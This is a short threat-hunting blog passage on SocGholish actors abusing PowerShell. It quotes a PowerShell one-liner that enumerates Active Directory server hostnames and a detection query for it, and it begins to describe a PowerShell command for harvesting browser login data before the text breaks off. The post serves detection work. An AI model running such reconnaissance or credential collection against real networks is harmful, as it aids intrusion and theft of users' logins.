115. Here's How Threat Actors Abuse PowerShell for Reconnaissance and Credentials Access
Hello everyone! It's time to add a few new items to your (and mine) PowerShell procedure collection! I spotted a few in a recent report on SocGholish activity by eSentire. Let's start from reconnaissance. The adversary leveraged the following PowerShell command to enumerate Active Directory: powershell -c "$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]\'\'); $searcher.Filter = \'(&(objectCategory=computer)(operatingSystem=*server*))\'; $searcher.PageSize = 1000; $searcher.PropertiesToLoad.Add(\'dnshostname\') > $null; $searcher.FindAll() | ForEach-Object { $_.Properties[\'dnshostname\'][0] } We can hunt for similar activity, for example, using the following query: event_type: "processcreatewin" AND proc_file_name: "powershell.exe" AND cmdline: "DirectorySearcher" The threat actors also used PowerShell to collect browser-related login data: "cmd.exe" /C powershell -c ...